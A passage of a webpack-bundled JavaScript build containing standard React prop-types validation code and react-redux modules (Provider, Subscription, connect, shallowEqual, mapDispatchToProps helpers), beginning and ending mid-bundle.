  Provider.childContextTypes = (_Provider$childContex = {}, _Provider$childContex[storeKey] = __WEBPACK_IMPORTED_MODULE_2__utils_PropTypes__["a" /* storeShape */].isRequired, _Provider$childContex[subscriptionKey] = __WEBPACK_IMPORTED_MODULE_2__utils_PropTypes__["b" /* subscriptionShape */], _Provider$childContex);

  return Provider;
}

/* harmony default export */ __webpack_exports__["b"] = (createProvider());
/* WEBPACK VAR INJECTION */}.call(__webpack_exports__, __webpack_require__(2)))

/***/ }),
/* 116 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";
/* WEBPACK VAR INJECTION */(function(process) {/**
 * Copyright (c) 2013-present, Facebook, Inc.
 *
 * This source code is licensed under the MIT license found in the
 * LICENSE file in the root directory of this source tree.
 */



var assign = __webpack_require__(62);

var ReactPropTypesSecret = __webpack_require__(44);
var checkPropTypes = __webpack_require__(117);

var printWarning = function() {};

if (process.env.NODE_ENV !== 'production') {
  printWarning = function(text) {
    var message = 'Warning: ' + text;
    if (typeof console !== 'undefined') {
      console.error(message);
    }
    try {
      // --- Welcome to debugging React ---
      // This error was thrown as a convenience so that you can use this stack
      // to find the callsite that caused this warning to fire.
      throw new Error(message);
    } catch (x) {}
  };
}

function emptyFunctionThatReturnsNull() {
  return null;
}

module.exports = function(isValidElement, throwOnDirectAccess) {
  /* global Symbol */
  var ITERATOR_SYMBOL = typeof Symbol === 'function' && Symbol.iterator;
  var FAUX_ITERATOR_SYMBOL = '@@iterator'; // Before Symbol spec.

  /**
   * Returns the iterator method function contained on the iterable object.
   *
   * Be sure to invoke the function with the iterable as context:
   *
   *     var iteratorFn = getIteratorFn(myIterable);
   *     if (iteratorFn) {
   *       var iterator = iteratorFn.call(myIterable);
   *       ...
   *     }
   *
   * @param {?object} maybeIterable
   * @return {?function}
   */
  function getIteratorFn(maybeIterable) {
    var iteratorFn = maybeIterable && (ITERATOR_SYMBOL && maybeIterable[ITERATOR_SYMBOL] || maybeIterable[FAUX_ITERATOR_SYMBOL]);
    if (typeof iteratorFn === 'function') {
      return iteratorFn;
    }
  }

  /**
   * Collection of methods that allow declaration and validation of props that are
   * supplied to React components. Example usage:
   *
   *   var Props = require('ReactPropTypes');
   *   var MyArticle = React.createClass({
   *     propTypes: {
   *       // An optional string prop named "description".
   *       description: Props.string,
   *
   *       // A required enum prop named "category".
   *       category: Props.oneOf(['News','Photos']).isRequired,
   *
   *       // A prop named "dialog" that requires an instance of Dialog.
   *       dialog: Props.instanceOf(Dialog).isRequired
   *     },
   *     render: function() { ... }
   *   });
   *
   * A more formal specification of how these methods are used:
   *
   *   type := array|bool|func|object|number|string|oneOf([...])|instanceOf(...)
   *   decl := ReactPropTypes.{type}(.isRequired)?
   *
   * Each and every declaration produces a function with the same signature. This
   * allows the creation of custom validation functions. For example:
   *
   *  var MyLink = React.createClass({
   *    propTypes: {
   *      // An optional string or URI prop named "href".
   *      href: function(props, propName, componentName) {
   *        var propValue = props[propName];
   *        if (propValue != null && typeof propValue !== 'string' &&
   *            !(propValue instanceof URI)) {
   *          return new Error(
   *            'Expected a string or an URI for ' + propName + ' in ' +
   *            componentName
   *          );
   *        }
   *      }
   *    },
   *    render: function() {...}
   *  });
   *
   * @internal
   */

  var ANONYMOUS = '<<anonymous>>';

  // Important!
  // Keep this list in sync with production version in `./factoryWithThrowingShims.js`.
  var ReactPropTypes = {
    array: createPrimitiveTypeChecker('array'),
    bool: createPrimitiveTypeChecker('boolean'),
    func: createPrimitiveTypeChecker('function'),
    number: createPrimitiveTypeChecker('number'),
    object: createPrimitiveTypeChecker('object'),
    string: createPrimitiveTypeChecker('string'),
    symbol: createPrimitiveTypeChecker('symbol'),

    any: createAnyTypeChecker(),
    arrayOf: createArrayOfTypeChecker,
    element: createElementTypeChecker(),
    instanceOf: createInstanceTypeChecker,
    node: createNodeChecker(),
    objectOf: createObjectOfTypeChecker,
    oneOf: createEnumTypeChecker,
    oneOfType: createUnionTypeChecker,
    shape: createShapeTypeChecker,
    exact: createStrictShapeTypeChecker,
  };

  /**
   * inlined Object.is polyfill to avoid requiring consumers ship their own
   * https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is
   */
  /*eslint-disable no-self-compare*/
  function is(x, y) {
    // SameValue algorithm
    if (x === y) {
      // Steps 1-5, 7-10
      // Steps 6.b-6.e: +0 != -0
      return x !== 0 || 1 / x === 1 / y;
    } else {
      // Step 6.a: NaN == NaN
      return x !== x && y !== y;
    }
  }
  /*eslint-enable no-self-compare*/

  /**
   * We use an Error-like object for backward compatibility as people may call
   * PropTypes directly and inspect their output. However, we don't use real
   * Errors anymore. We don't inspect their stack anyway, and creating them
   * is prohibitively expensive if they are created too often, such as what
   * happens in oneOfType() for any type before the one that matched.
   */
  function PropTypeError(message) {
    this.message = message;
    this.stack = '';
  }
  // Make `instanceof Error` still work for returned errors.
  PropTypeError.prototype = Error.prototype;

  function createChainableTypeChecker(validate) {
    if (process.env.NODE_ENV !== 'production') {
      var manualPropTypeCallCache = {};
      var manualPropTypeWarningCount = 0;
    }
    function checkType(isRequired, props, propName, componentName, location, propFullName, secret) {
      componentName = componentName || ANONYMOUS;
      propFullName = propFullName || propName;

      if (secret !== ReactPropTypesSecret) {
        if (throwOnDirectAccess) {
          // New behavior only for users of `prop-types` package
          var err = new Error(
            'Calling PropTypes validators directly is not supported by the `prop-types` package. ' +
            'Use `PropTypes.checkPropTypes()` to call them. ' +
            'Read more at http://fb.me/use-check-prop-types'
          );
          err.name = 'Invariant Violation';
          throw err;
        } else if (process.env.NODE_ENV !== 'production' && typeof console !== 'undefined') {
          // Old behavior for people using React.PropTypes
          var cacheKey = componentName + ':' + propName;
          if (
            !manualPropTypeCallCache[cacheKey] &&
            // Avoid spamming the console because they are often not actionable except for lib authors
            manualPropTypeWarningCount < 3
          ) {
            printWarning(
              'You are manually calling a React.PropTypes validation ' +
              'function for the `' + propFullName + '` prop on `' + componentName  + '`. This is deprecated ' +
              'and will throw in the standalone `prop-types` package. ' +
              'You may be seeing this warning due to a third-party PropTypes ' +
              'library. See https://fb.me/react-warning-dont-call-proptypes ' + 'for details.'
            );
            manualPropTypeCallCache[cacheKey] = true;
            manualPropTypeWarningCount++;
          }
        }
      }
      if (props[propName] == null) {
        if (isRequired) {
          if (props[propName] === null) {
            return new PropTypeError('The ' + location + ' `' + propFullName + '` is marked as required ' + ('in `' + componentName + '`, but its value is `null`.'));
          }
          return new PropTypeError('The ' + location + ' `' + propFullName + '` is marked as required in ' + ('`' + componentName + '`, but its value is `undefined`.'));
        }
        return null;
      } else {
        return validate(props, propName, componentName, location, propFullName);
      }
    }

    var chainedCheckType = checkType.bind(null, false);
    chainedCheckType.isRequired = checkType.bind(null, true);

    return chainedCheckType;
  }

  function createPrimitiveTypeChecker(expectedType) {
    function validate(props, propName, componentName, location, propFullName, secret) {
      var propValue = props[propName];
      var propType = getPropType(propValue);
      if (propType !== expectedType) {
        // `propValue` being instance of, say, date/regexp, pass the 'object'
        // check, but we can offer a more precise error message here rather than
        // 'of type `object`'.
        var preciseType = getPreciseType(propValue);

        return new PropTypeError('Invalid ' + location + ' `' + propFullName + '` of type ' + ('`' + preciseType + '` supplied to `' + componentName + '`, expected ') + ('`' + expectedType + '`.'));
      }
      return null;
    }
    return createChainableTypeChecker(validate);
  }

  function createAnyTypeChecker() {
    return createChainableTypeChecker(emptyFunctionThatReturnsNull);
  }

  function createArrayOfTypeChecker(typeChecker) {
    function validate(props, propName, componentName, location, propFullName) {
      if (typeof typeChecker !== 'function') {
        return new PropTypeError('Property `' + propFullName + '` of component `' + componentName + '` has invalid PropType notation inside arrayOf.');
      }
      var propValue = props[propName];
      if (!Array.isArray(propValue)) {
        var propType = getPropType(propValue);
        return new PropTypeError('Invalid ' + location + ' `' + propFullName + '` of type ' + ('`' + propType + '` supplied to `' + componentName + '`, expected an array.'));
      }
      for (var i = 0; i < propValue.length; i++) {
        var error = typeChecker(propValue, i, componentName, location, propFullName + '[' + i + ']', ReactPropTypesSecret);
        if (error instanceof Error) {
          return error;
        }
      }
      return null;
    }
    return createChainableTypeChecker(validate);
  }

  function createElementTypeChecker() {
    function validate(props, propName, componentName, location, propFullName) {
      var propValue = props[propName];
      if (!isValidElement(propValue)) {
        var propType = getPropType(propValue);
        return new PropTypeError('Invalid ' + location + ' `' + propFullName + '` of type ' + ('`' + propType + '` supplied to `' + componentName + '`, expected a single ReactElement.'));
      }
      return null;
    }
    return createChainableTypeChecker(validate);
  }

  function createInstanceTypeChecker(expectedClass) {
    function validate(props, propName, componentName, location, propFullName) {
      if (!(props[propName] instanceof expectedClass)) {
        var expectedClassName = expectedClass.name || ANONYMOUS;
        var actualClassName = getClassName(props[propName]);
        return new PropTypeError('Invalid ' + location + ' `' + propFullName + '` of type ' + ('`' + actualClassName + '` supplied to `' + componentName + '`, expected ') + ('instance of `' + expectedClassName + '`.'));
      }
      return null;
    }
    return createChainableTypeChecker(validate);
  }

  function createEnumTypeChecker(expectedValues) {
    if (!Array.isArray(expectedValues)) {
      process.env.NODE_ENV !== 'production' ? printWarning('Invalid argument supplied to oneOf, expected an instance of array.') : void 0;
      return emptyFunctionThatReturnsNull;
    }

    function validate(props, propName, componentName, location, propFullName) {
      var propValue = props[propName];
      for (var i = 0; i < expectedValues.length; i++) {
        if (is(propValue, expectedValues[i])) {
          return null;
        }
      }

      var valuesString = JSON.stringify(expectedValues);
      return new PropTypeError('Invalid ' + location + ' `' + propFullName + '` of value `' + propValue + '` ' + ('supplied to `' + componentName + '`, expected one of ' + valuesString + '.'));
    }
    return createChainableTypeChecker(validate);
  }

  function createObjectOfTypeChecker(typeChecker) {
    function validate(props, propName, componentName, location, propFullName) {
      if (typeof typeChecker !== 'function') {
        return new PropTypeError('Property `' + propFullName + '` of component `' + componentName + '` has invalid PropType notation inside objectOf.');
      }
      var propValue = props[propName];
      var propType = getPropType(propValue);
      if (propType !== 'object') {
        return new PropTypeError('Invalid ' + location + ' `' + propFullName + '` of type ' + ('`' + propType + '` supplied to `' + componentName + '`, expected an object.'));
      }
      for (var key in propValue) {
        if (propValue.hasOwnProperty(key)) {
          var error = typeChecker(propValue, key, componentName, location, propFullName + '.' + key, ReactPropTypesSecret);
          if (error instanceof Error) {
            return error;
          }
        }
      }
      return null;
    }
    return createChainableTypeChecker(validate);
  }

  function createUnionTypeChecker(arrayOfTypeCheckers) {
    if (!Array.isArray(arrayOfTypeCheckers)) {
      process.env.NODE_ENV !== 'production' ? printWarning('Invalid argument supplied to oneOfType, expected an instance of array.') : void 0;
      return emptyFunctionThatReturnsNull;
    }

    for (var i = 0; i < arrayOfTypeCheckers.length; i++) {
      var checker = arrayOfTypeCheckers[i];
      if (typeof checker !== 'function') {
        printWarning(
          'Invalid argument supplied to oneOfType. Expected an array of check functions, but ' +
          'received ' + getPostfixForTypeWarning(checker) + ' at index ' + i + '.'
        );
        return emptyFunctionThatReturnsNull;
      }
    }

    function validate(props, propName, componentName, location, propFullName) {
      for (var i = 0; i < arrayOfTypeCheckers.length; i++) {
        var checker = arrayOfTypeCheckers[i];
        if (checker(props, propName, componentName, location, propFullName, ReactPropTypesSecret) == null) {
          return null;
        }
      }

      return new PropTypeError('Invalid ' + location + ' `' + propFullName + '` supplied to ' + ('`' + componentName + '`.'));
    }
    return createChainableTypeChecker(validate);
  }

  function createNodeChecker() {
    function validate(props, propName, componentName, location, propFullName) {
      if (!isNode(props[propName])) {
        return new PropTypeError('Invalid ' + location + ' `' + propFullName + '` supplied to ' + ('`' + componentName + '`, expected a ReactNode.'));
      }
      return null;
    }
    return createChainableTypeChecker(validate);
  }

  function createShapeTypeChecker(shapeTypes) {
    function validate(props, propName, componentName, location, propFullName) {
      var propValue = props[propName];
      var propType = getPropType(propValue);
      if (propType !== 'object') {
        return new PropTypeError('Invalid ' + location + ' `' + propFullName + '` of type `' + propType + '` ' + ('supplied to `' + componentName + '`, expected `object`.'));
      }
      for (var key in shapeTypes) {
        var checker = shapeTypes[key];
        if (!checker) {
          continue;
        }
        var error = checker(propValue, key, componentName, location, propFullName + '.' + key, ReactPropTypesSecret);
        if (error) {
          return error;
        }
      }
      return null;
    }
    return createChainableTypeChecker(validate);
  }

  function createStrictShapeTypeChecker(shapeTypes) {
    function validate(props, propName, componentName, location, propFullName) {
      var propValue = props[propName];
      var propType = getPropType(propValue);
      if (propType !== 'object') {
        return new PropTypeError('Invalid ' + location + ' `' + propFullName + '` of type `' + propType + '` ' + ('supplied to `' + componentName + '`, expected `object`.'));
      }
      // We need to check all keys in case some are required but missing from
      // props.
      var allKeys = assign({}, props[propName], shapeTypes);
      for (var key in allKeys) {
        var checker = shapeTypes[key];
        if (!checker) {
          return new PropTypeError(
            'Invalid ' + location + ' `' + propFullName + '` key `' + key + '` supplied to `' + componentName + '`.' +
            '\nBad object: ' + JSON.stringify(props[propName], null, '  ') +
            '\nValid keys: ' +  JSON.stringify(Object.keys(shapeTypes), null, '  ')
          );
        }
        var error = checker(propValue, key, componentName, location, propFullName + '.' + key, ReactPropTypesSecret);
        if (error) {
          return error;
        }
      }
      return null;
    }

    return createChainableTypeChecker(validate);
  }

  function isNode(propValue) {
    switch (typeof propValue) {
      case 'number':
      case 'string':
      case 'undefined':
        return true;
      case 'boolean':
        return !propValue;
      case 'object':
        if (Array.isArray(propValue)) {
          return propValue.every(isNode);
        }
        if (propValue === null || isValidElement(propValue)) {
          return true;
        }

        var iteratorFn = getIteratorFn(propValue);
        if (iteratorFn) {
          var iterator = iteratorFn.call(propValue);
          var step;
          if (iteratorFn !== propValue.entries) {
            while (!(step = iterator.next()).done) {
              if (!isNode(step.value)) {
                return false;
              }
            }
          } else {
            // Iterator will provide entry [k,v] tuples rather than values.
            while (!(step = iterator.next()).done) {
              var entry = step.value;
              if (entry) {
                if (!isNode(entry[1])) {
                  return false;
                }
              }
            }
          }
        } else {
          return false;
        }

        return true;
      default:
        return false;
    }
  }

  function isSymbol(propType, propValue) {
    // Native Symbol.
    if (propType === 'symbol') {
      return true;
    }

    // 19.4.3.5 Symbol.prototype[@@toStringTag] === 'Symbol'
    if (propValue['@@toStringTag'] === 'Symbol') {
      return true;
    }

    // Fallback for non-spec compliant Symbols which are polyfilled.
    if (typeof Symbol === 'function' && propValue instanceof Symbol) {
      return true;
    }

    return false;
  }

  // Equivalent of `typeof` but with special handling for array and regexp.
  function getPropType(propValue) {
    var propType = typeof propValue;
    if (Array.isArray(propValue)) {
      return 'array';
    }
    if (propValue instanceof RegExp) {
      // Old webkits (at least until Android 4.0) return 'function' rather than
      // 'object' for typeof a RegExp. We'll normalize this here so that /bla/
      // passes PropTypes.object.
      return 'object';
    }
    if (isSymbol(propType, propValue)) {
      return 'symbol';
    }
    return propType;
  }

  // This handles more types than `getPropType`. Only used for error messages.
  // See `createPrimitiveTypeChecker`.
  function getPreciseType(propValue) {
    if (typeof propValue === 'undefined' || propValue === null) {
      return '' + propValue;
    }
    var propType = getPropType(propValue);
    if (propType === 'object') {
      if (propValue instanceof Date) {
        return 'date';
      } else if (propValue instanceof RegExp) {
        return 'regexp';
      }
    }
    return propType;
  }

  // Returns a string that is postfixed to a warning about an invalid type.
  // For example, "undefined" or "of type array"
  function getPostfixForTypeWarning(value) {
    var type = getPreciseType(value);
    switch (type) {
      case 'array':
      case 'object':
        return 'an ' + type;
      case 'boolean':
      case 'date':
      case 'regexp':
        return 'a ' + type;
      default:
        return type;
    }
  }

  // Returns class name of the object, if any.
  function getClassName(propValue) {
    if (!propValue.constructor || !propValue.constructor.name) {
      return ANONYMOUS;
    }
    return propValue.constructor.name;
  }

  ReactPropTypes.checkPropTypes = checkPropTypes;
  ReactPropTypes.PropTypes = ReactPropTypes;

  return ReactPropTypes;
};

/* WEBPACK VAR INJECTION */}.call(exports, __webpack_require__(2)))

/***/ }),
/* 117 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";
/* WEBPACK VAR INJECTION */(function(process) {/**
 * Copyright (c) 2013-present, Facebook, Inc.
 *
 * This source code is licensed under the MIT license found in the
 * LICENSE file in the root directory of this source tree.
 */



var printWarning = function() {};

if (process.env.NODE_ENV !== 'production') {
  var ReactPropTypesSecret = __webpack_require__(44);
  var loggedTypeFailures = {};

  printWarning = function(text) {
    var message = 'Warning: ' + text;
    if (typeof console !== 'undefined') {
      console.error(message);
    }
    try {
      // --- Welcome to debugging React ---
      // This error was thrown as a convenience so that you can use this stack
      // to find the callsite that caused this warning to fire.
      throw new Error(message);
    } catch (x) {}
  };
}

/**
 * Assert that the values match with the type specs.
 * Error messages are memorized and will only be shown once.
 *
 * @param {object} typeSpecs Map of name to a ReactPropType
 * @param {object} values Runtime values that need to be type-checked
 * @param {string} location e.g. "prop", "context", "child context"
 * @param {string} componentName Name of the component for error messages.
 * @param {?Function} getStack Returns the component stack.
 * @private
 */
function checkPropTypes(typeSpecs, values, location, componentName, getStack) {
  if (process.env.NODE_ENV !== 'production') {
    for (var typeSpecName in typeSpecs) {
      if (typeSpecs.hasOwnProperty(typeSpecName)) {
        var error;
        // Prop type validation may throw. In case they do, we don't want to
        // fail the render phase where it didn't fail before. So we log it.
        // After these have been cleaned up, we'll let them throw.
        try {
          // This is intentionally an invariant that gets caught. It's the same
          // behavior as without this statement except with a better message.
          if (typeof typeSpecs[typeSpecName] !== 'function') {
            var err = Error(
              (componentName || 'React class') + ': ' + location + ' type `' + typeSpecName + '` is invalid; ' +
              'it must be a function, usually from the `prop-types` package, but received `' + typeof typeSpecs[typeSpecName] + '`.'
            );
            err.name = 'Invariant Violation';
            throw err;
          }
          error = typeSpecs[typeSpecName](values, typeSpecName, componentName, location, null, ReactPropTypesSecret);
        } catch (ex) {
          error = ex;
        }
        if (error && !(error instanceof Error)) {
          printWarning(
            (componentName || 'React class') + ': type specification of ' +
            location + ' `' + typeSpecName + '` is invalid; the type checker ' +
            'function must return `null` or an `Error` but returned a ' + typeof error + '. ' +
            'You may have forgotten to pass an argument to the type checker ' +
            'creator (arrayOf, instanceOf, objectOf, oneOf, oneOfType, and ' +
            'shape all require an argument).'
          )

        }
        if (error instanceof Error && !(error.message in loggedTypeFailures)) {
          // Only monitor this failure once because there tends to be a lot of the
          // same error.
          loggedTypeFailures[error.message] = true;

          var stack = getStack ? getStack() : '';

          printWarning(
            'Failed ' + location + ' type: ' + error.message + (stack != null ? stack : '')
          );
        }
      }
    }
  }
}

module.exports = checkPropTypes;

/* WEBPACK VAR INJECTION */}.call(exports, __webpack_require__(2)))

/***/ }),
/* 118 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";
/**
 * Copyright (c) 2013-present, Facebook, Inc.
 *
 * This source code is licensed under the MIT license found in the
 * LICENSE file in the root directory of this source tree.
 */



var ReactPropTypesSecret = __webpack_require__(44);

function emptyFunction() {}

module.exports = function() {
  function shim(props, propName, componentName, location, propFullName, secret) {
    if (secret === ReactPropTypesSecret) {
      // It is still safe when called from React.
      return;
    }
    var err = new Error(
      'Calling PropTypes validators directly is not supported by the `prop-types` package. ' +
      'Use PropTypes.checkPropTypes() to call them. ' +
      'Read more at http://fb.me/use-check-prop-types'
    );
    err.name = 'Invariant Violation';
    throw err;
  };
  shim.isRequired = shim;
  function getShim() {
    return shim;
  };
  // Important!
  // Keep this list in sync with production version in `./factoryWithTypeCheckers.js`.
  var ReactPropTypes = {
    array: shim,
    bool: shim,
    func: shim,
    number: shim,
    object: shim,
    string: shim,
    symbol: shim,

    any: shim,
    arrayOf: getShim,
    element: shim,
    instanceOf: getShim,
    node: shim,
    objectOf: getShim,
    oneOf: getShim,
    oneOfType: getShim,
    shape: getShim,
    exact: getShim
  };

  ReactPropTypes.checkPropTypes = emptyFunction;
  ReactPropTypes.PropTypes = ReactPropTypes;

  return ReactPropTypes;
};


/***/ }),
/* 119 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {

"use strict";
/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "a", function() { return Subscription; });
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

// encapsulates the subscription logic for connecting a component to the redux store, as
// well as nesting subscriptions of descendant components, so that we can ensure the
// ancestor components re-render before descendants

var CLEARED = null;
var nullListeners = {
  notify: function notify() {}
};

function createListenerCollection() {
  // the current/next pattern is copied from redux's createStore code.
  // TODO: refactor+expose that code to be reusable here?
  var current = [];
  var next = [];

  return {
    clear: function clear() {
      next = CLEARED;
      current = CLEARED;
    },
    notify: function notify() {
      var listeners = current = next;
      for (var i = 0; i < listeners.length; i++) {
        listeners[i]();
      }
    },
    get: function get() {
      return next;
    },
    subscribe: function subscribe(listener) {
      var isSubscribed = true;
      if (next === current) next = current.slice();
      next.push(listener);

      return function unsubscribe() {
        if (!isSubscribed || current === CLEARED) return;
        isSubscribed = false;

        if (next === current) next = current.slice();
        next.splice(next.indexOf(listener), 1);
      };
    }
  };
}

var Subscription = function () {
  function Subscription(store, parentSub, onStateChange) {
    _classCallCheck(this, Subscription);

    this.store = store;
    this.parentSub = parentSub;
    this.onStateChange = onStateChange;
    this.unsubscribe = null;
    this.listeners = nullListeners;
  }

  Subscription.prototype.addNestedSub = function addNestedSub(listener) {
    this.trySubscribe();
    return this.listeners.subscribe(listener);
  };

  Subscription.prototype.notifyNestedSubs = function notifyNestedSubs() {
    this.listeners.notify();
  };

  Subscription.prototype.isSubscribed = function isSubscribed() {
    return Boolean(this.unsubscribe);
  };

  Subscription.prototype.trySubscribe = function trySubscribe() {
    if (!this.unsubscribe) {
      this.unsubscribe = this.parentSub ? this.parentSub.addNestedSub(this.onStateChange) : this.store.subscribe(this.onStateChange);

      this.listeners = createListenerCollection();
    }
  };

  Subscription.prototype.tryUnsubscribe = function tryUnsubscribe() {
    if (this.unsubscribe) {
      this.unsubscribe();
      this.unsubscribe = null;
      this.listeners.clear();
      this.listeners = nullListeners;
    }
  };

  return Subscription;
}();



/***/ }),
/* 120 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {

"use strict";
/* unused harmony export createConnect */
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__components_connectAdvanced__ = __webpack_require__(69);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1__utils_shallowEqual__ = __webpack_require__(121);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_2__mapDispatchToProps__ = __webpack_require__(122);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_3__mapStateToProps__ = __webpack_require__(135);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_4__mergeProps__ = __webpack_require__(136);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_5__selectorFactory__ = __webpack_require__(137);
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };

function _objectWithoutProperties(obj, keys) { var target = {}; for (var i in obj) { if (keys.indexOf(i) >= 0) continue; if (!Object.prototype.hasOwnProperty.call(obj, i)) continue; target[i] = obj[i]; } return target; }








/*
  connect is a facade over connectAdvanced. It turns its args into a compatible
  selectorFactory, which has the signature:

    (dispatch, options) => (nextState, nextOwnProps) => nextFinalProps
  
  connect passes its args to connectAdvanced as options, which will in turn pass them to
  selectorFactory each time a Connect component instance is instantiated or hot reloaded.

  selectorFactory returns a final props selector from its mapStateToProps,
  mapStateToPropsFactories, mapDispatchToProps, mapDispatchToPropsFactories, mergeProps,
  mergePropsFactories, and pure args.

  The resulting final props selector is called by the Connect component instance whenever
  it receives new props or store state.
 */

function match(arg, factories, name) {
  for (var i = factories.length - 1; i >= 0; i--) {
    var result = factories[i](arg);
    if (result) return result;
  }

  return function (dispatch, options) {
    throw new Error('Invalid value of type ' + typeof arg + ' for ' + name + ' argument when connecting component ' + options.wrappedComponentName + '.');
  };
}

function strictEqual(a, b) {
  return a === b;
}

// createConnect with default args builds the 'official' connect behavior. Calling it with
// different options opens up some testing and extensibility scenarios
function createConnect() {
  var _ref = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {},
      _ref$connectHOC = _ref.connectHOC,
      connectHOC = _ref$connectHOC === undefined ? __WEBPACK_IMPORTED_MODULE_0__components_connectAdvanced__["a" /* default */] : _ref$connectHOC,
      _ref$mapStateToPropsF = _ref.mapStateToPropsFactories,
      mapStateToPropsFactories = _ref$mapStateToPropsF === undefined ? __WEBPACK_IMPORTED_MODULE_3__mapStateToProps__["a" /* default */] : _ref$mapStateToPropsF,
      _ref$mapDispatchToPro = _ref.mapDispatchToPropsFactories,
      mapDispatchToPropsFactories = _ref$mapDispatchToPro === undefined ? __WEBPACK_IMPORTED_MODULE_2__mapDispatchToProps__["a" /* default */] : _ref$mapDispatchToPro,
      _ref$mergePropsFactor = _ref.mergePropsFactories,
      mergePropsFactories = _ref$mergePropsFactor === undefined ? __WEBPACK_IMPORTED_MODULE_4__mergeProps__["a" /* default */] : _ref$mergePropsFactor,
      _ref$selectorFactory = _ref.selectorFactory,
      selectorFactory = _ref$selectorFactory === undefined ? __WEBPACK_IMPORTED_MODULE_5__selectorFactory__["a" /* default */] : _ref$selectorFactory;

  return function connect(mapStateToProps, mapDispatchToProps, mergeProps) {
    var _ref2 = arguments.length > 3 && arguments[3] !== undefined ? arguments[3] : {},
        _ref2$pure = _ref2.pure,
        pure = _ref2$pure === undefined ? true : _ref2$pure,
        _ref2$areStatesEqual = _ref2.areStatesEqual,
        areStatesEqual = _ref2$areStatesEqual === undefined ? strictEqual : _ref2$areStatesEqual,
        _ref2$areOwnPropsEqua = _ref2.areOwnPropsEqual,
        areOwnPropsEqual = _ref2$areOwnPropsEqua === undefined ? __WEBPACK_IMPORTED_MODULE_1__utils_shallowEqual__["a" /* default */] : _ref2$areOwnPropsEqua,
        _ref2$areStatePropsEq = _ref2.areStatePropsEqual,
        areStatePropsEqual = _ref2$areStatePropsEq === undefined ? __WEBPACK_IMPORTED_MODULE_1__utils_shallowEqual__["a" /* default */] : _ref2$areStatePropsEq,
        _ref2$areMergedPropsE = _ref2.areMergedPropsEqual,
        areMergedPropsEqual = _ref2$areMergedPropsE === undefined ? __WEBPACK_IMPORTED_MODULE_1__utils_shallowEqual__["a" /* default */] : _ref2$areMergedPropsE,
        extraOptions = _objectWithoutProperties(_ref2, ['pure', 'areStatesEqual', 'areOwnPropsEqual', 'areStatePropsEqual', 'areMergedPropsEqual']);

    var initMapStateToProps = match(mapStateToProps, mapStateToPropsFactories, 'mapStateToProps');
    var initMapDispatchToProps = match(mapDispatchToProps, mapDispatchToPropsFactories, 'mapDispatchToProps');
    var initMergeProps = match(mergeProps, mergePropsFactories, 'mergeProps');

    return connectHOC(selectorFactory, _extends({
      // used in error messages
      methodName: 'connect',

      // used to compute Connect's displayName from the wrapped component's displayName.
      getDisplayName: function getDisplayName(name) {
        return 'Connect(' + name + ')';
      },

      // if mapStateToProps is falsy, the Connect component doesn't subscribe to store state changes
      shouldHandleStateChanges: Boolean(mapStateToProps),

      // passed through to selectorFactory
      initMapStateToProps: initMapStateToProps,
      initMapDispatchToProps: initMapDispatchToProps,
      initMergeProps: initMergeProps,
      pure: pure,
      areStatesEqual: areStatesEqual,
      areOwnPropsEqual: areOwnPropsEqual,
      areStatePropsEqual: areStatePropsEqual,
      areMergedPropsEqual: areMergedPropsEqual

    }, extraOptions));
  };
}

/* harmony default export */ __webpack_exports__["a"] = (createConnect());

/***/ }),
/* 121 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {

"use strict";
/* harmony export (immutable) */ __webpack_exports__["a"] = shallowEqual;
var hasOwn = Object.prototype.hasOwnProperty;

function is(x, y) {
  if (x === y) {
    return x !== 0 || y !== 0 || 1 / x === 1 / y;
  } else {
    return x !== x && y !== y;
  }
}

function shallowEqual(objA, objB) {
  if (is(objA, objB)) return true;

  if (typeof objA !== 'object' || objA === null || typeof objB !== 'object' || objB === null) {
    return false;
  }

  var keysA = Object.keys(objA);
  var keysB = Object.keys(objB);

  if (keysA.length !== keysB.length) return false;

  for (var i = 0; i < keysA.length; i++) {
    if (!hasOwn.call(objB, keysA[i]) || !is(objA[keysA[i]], objB[keysA[i]])) {
      return false;
    }
  }

  return true;
}

/***/ }),
/* 122 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {

"use strict";
/* unused harmony export whenMapDispatchToPropsIsFunction */
/* unused harmony export whenMapDispatchToPropsIsMissing */
/* unused harmony export whenMapDispatchToPropsIsObject */
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_redux__ = __webpack_require__(11);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1__wrapMapToProps__ = __webpack_require__(71);



function whenMapDispatchToPropsIsFunction(mapDispatchToProps) {
  return typeof mapDispatchToProps === 'function' ? Object(__WEBPACK_IMPORTED_MODULE_1__wrapMapToProps__["b" /* wrapMapToPropsFunc */])(mapDispatchToProps, 'mapDispatchToProps') : undefined;
}

function whenMapDispatchToPropsIsMissing(mapDispatchToProps) {
  return !mapDispatchToProps ? Object(__WEBPACK_IMPORTED_MODULE_1__wrapMapToProps__["a" /* wrapMapToPropsConstant */])(function (dispatch) {
    return { dispatch: dispatch };
  }) : undefined;
}

function whenMapDispatchToPropsIsObject(mapDispatchToProps) {
  return mapDispatchToProps && typeof mapDispatchToProps === 'object' ? Object(__WEBPACK_IMPORTED_MODULE_1__wrapMapToProps__["a" /* wrapMapToPropsConstant */])(function (dispatch) {
    return Object(__WEBPACK_IMPORTED_MODULE_0_redux__["bindActionCreators"])(mapDispatchToProps, dispatch);
  }) : undefined;
}

/* harmony default export */ __webpack_exports__["a"] = ([whenMapDispatchToPropsIsFunction, whenMapDispatchToPropsIsMissing, whenMapDispatchToPropsIsObject]);

/***/ }),
/* 123 */
